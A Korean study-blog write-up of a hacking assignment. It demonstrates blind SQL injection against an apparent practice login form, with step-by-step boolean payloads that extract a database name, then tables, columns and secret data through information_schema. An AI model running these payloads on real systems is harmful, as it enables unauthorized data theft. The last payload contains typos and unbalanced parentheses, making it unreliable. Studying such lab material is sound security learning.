Blind SQL Injection이란
SQL 질의문의 참과 거짓의 조건으로 데이터를 추출하는 기법이다.
DB결과가 화면에 안 나오고 에러메시지가 나오지 않는 경우는 Blind SQL Injection을 사용한다.
(Union과 Error이 사용불가능할 때 사용하자)
참과 거짓 조건에 따라 응답이 다른 곳에서 사용할 수 있다.(어떻게든 다르면 가능하다)
(1) SQL Injection 확인
ID 중복 검사를 하면 like가 아닌 is를 사용할 거 같다.
name is '____' 일거 같다.
normaltic은 성공했고 norm은 실패, mal도 실패, tic도 실패했다. 그래서 like는 사용하지 않을 거라는 게 맞고 is를 사용했다는 걸 알 수 있다.
normaltic' and '1' = '1을 입력해서 값이 나왔다. -> SQL Injection이 가능하다.
하지만 에러메시지도 없고 쿼리가 나오는 것도 아니니까 Blind SQL Injection을 사용할 것이다.
(2) Blind SQL Injection
위에서 넣었던 조건에서 and를 하나 더 넣을 것이다.
normaltic' and '1' = '1
normaltic' and (조건) and '1' = '1
여기 조건에 참을 넣으면 문장은 참이 되므로 존재하는 아이디라고 나올 것이다.
normaltic' and (1=1) and '1' = '1
(3) select문 사용
1=1 이라는 조건이 참이고 사용이 가능하다.
그래서 조건에 select문을 넣어 볼 것이다.
normaltic' and ((select 'test') = 'test') and '1' = '1
(4) 공격 포맷 만들기
overwatch%' and (조건) and '1%' = '1
ascii('t')>0 -> 무조건 참인 조건이다(t의 ascii값은 116)
normaltic' and (ascii('t')>0) and '1' = '1
normaltic' and (substring('test', 0, 1)>0) and '1' = '1
substring(str, n, n)은 주어진 문자열에서 n번째 위치에서 n개의 문자열을 읽는다
normaltic' and (ascii(substring('test', 1, 1))>0) and '1' = '1
substring안에 select를 사용할 것이다.
normaltic' and (ascii(substring((select 'test'), 1, 1))>0) and '1' = '1
이로써 공격 포맷을 완성하였다.
normaltic' and (ascii(substring((SQL), 1, 1))>0) and '1' = '1
(5) DB 이름 추출
DB이름을 추출하는 명령어는 select database()이고 공격 포맷에 이걸 넣으면
normaltic' and (ascii(substring((select database()), 1, 1))>0) and '1' = '1 이러한 공격 구문이 완성된다.
normaltic' and (ascii(substring((select database()), 1, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 1, 1))>110) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 1, 1))>120) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 1, 1))>115) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 1, 1))>113) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 1, 1))>114) and '1' = '1 참
s
참 거짓을 판별하여 텍스트의 아스키 값을 알아내면 DB이름을 한 글자씩 받아올 수 있다.
normaltic' and (ascii(substring((select database()), 2, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 2, 1))>110) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 2, 1))>100) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 2, 1))>105) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 2, 1))>102) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 2, 1))>101) and '1' = '1 거짓
e
normaltic' and (ascii(substring((select database()), 3, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 3, 1))>100) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 3, 1))>110) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 3, 1))>105) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 3, 1))>103) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 3, 1))>101) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 3, 1))>102) and '1' = '1 참
g
normaltic' and (ascii(substring((select database()), 4, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 4, 1))>100) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 4, 1))>110) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 4, 1))>105) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 4, 1))>103) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 4, 1))>102) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 4, 1))>101) and '1' = '1 참
f
normaltic' and (ascii(substring((select database()), 5, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 5, 1))>100) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 5, 1))>98) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 5, 1))>97) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 5, 1))>96) and '1' = '1 참
a
normaltic' and (ascii(substring((select database()), 6, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 6, 1))>100) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 6, 1))>110) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 6, 1))>120) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 6, 1))>115) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 6, 1))>118) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 6, 1))>116) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 6, 1))>117) and '1' = '1 거짓
u
normaltic' and (ascii(substring((select database()), 7, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 7, 1))>100) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 7, 1))>110) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 7, 1))>105) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 7, 1))>108) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 7, 1))>107) and '1' = '1 참
l
normaltic' and (ascii(substring((select database()), 8, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 8, 1))>100) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 8, 1))>110) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 8, 1))>120) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 8, 1))>115) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 8, 1))>117) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 8, 1))>116) and '1' = '1 거짓
t
normaltic' and (ascii(substring((select database()), 9, 1))>100) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 9, 1))>90) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 9, 1))>95) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 9, 1))>93) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 9, 1))>94) and '1' = '1 참
_
normaltic' and (ascii(substring((select database()), 10, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 10, 1))>100) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 10, 1))>110) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 10, 1))>120) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 10, 1))>115) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 10, 1))>113) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 10, 1))>114) and '1' = '1 참
s
normaltic' and (ascii(substring((select database()), 11, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 11, 1))>100) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 11, 1))>110) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 11, 1))>120) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 11, 1))>115) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 11, 1))>112) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 11, 1))>113) and '1' = '1 거짓
q
normaltic' and (ascii(substring((select database()), 12, 1))>0) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 12, 1))>100) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 12, 1))>110) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 12, 1))>105) and '1' = '1 참
normaltic' and (ascii(substring((select database()), 12, 1))>108) and '1' = '1 거짓
normaltic' and (ascii(substring((select database()), 12, 1))>107) and '1' = '1 참
l
normaltic' and (ascii(substring((select database()), 13, 1))>0) and '1' = '1 거짓
13에서 0일 때 거짓이므로 DB 이름은 12글자이고 segfault_sql라는 걸 알아낼 수 있었다.
엄청나게 귀찮은 반복작업을 해야한다.
(6) Table 이름
마찬가지로 테이블 이름을 찾는 명령어는
select table_name from information_schema.tables where table_schema = 'segfault_sql' limit 0, 1
이고, 포맷에 넣으면
normaltic' and (ascii(substring((select table_name from information_schema.tables where table_schema = 'segfault_sql' limit 0, 1), 1, 1))>0) and '1' = '1
이다.
'segfault_sql' limit 0, 1), 1, 1
여기서 뒤에있는 1, 1을 먼저 바꿔주면서 테이블 이름을 얻어내고 limit 0, 1에서 1,1로 변경하여 다음 테이블을 알아낸다.
game, member, secret 이렇게 3개의 테이블이 있다.
(7) column 이름
우리는 secret 테이블의 컬럼을 알아볼것이므로 명령어는
select column_name from information_schema.columns where table_name='secret' limit 0,1
이고
공격 포맷에 넣어보면
normaltic' and (ascii(substring((select column_name from information_schema.columns where table_name='secret' limit 0,1), 1, 1))>0) and '1' = '1 이다.
idx, secret 2개의 컬럼이 있다.
(8) Data 추출
모든 정보를 알아냈으니 데이터를 뽑아낼수있다.
ex) select sercret from serect
normaltic' and (ascii(substring((select sercret from serect limit 0,1), 1, 1)>0) and '1' = '1
'공부 > 해킹 과제' 카테고리의 다른 글
SQL Injection 정리 (0) | 2023.05.05 |
---|---|
SQL Injection 대응 방안 (0) | 2023.04.29 |
Error Based SQL Injection (0) | 2023.04.21 |
Union SQL Injection (0) | 2023.04.21 |
로그인 CASE (0) | 2023.04.18 |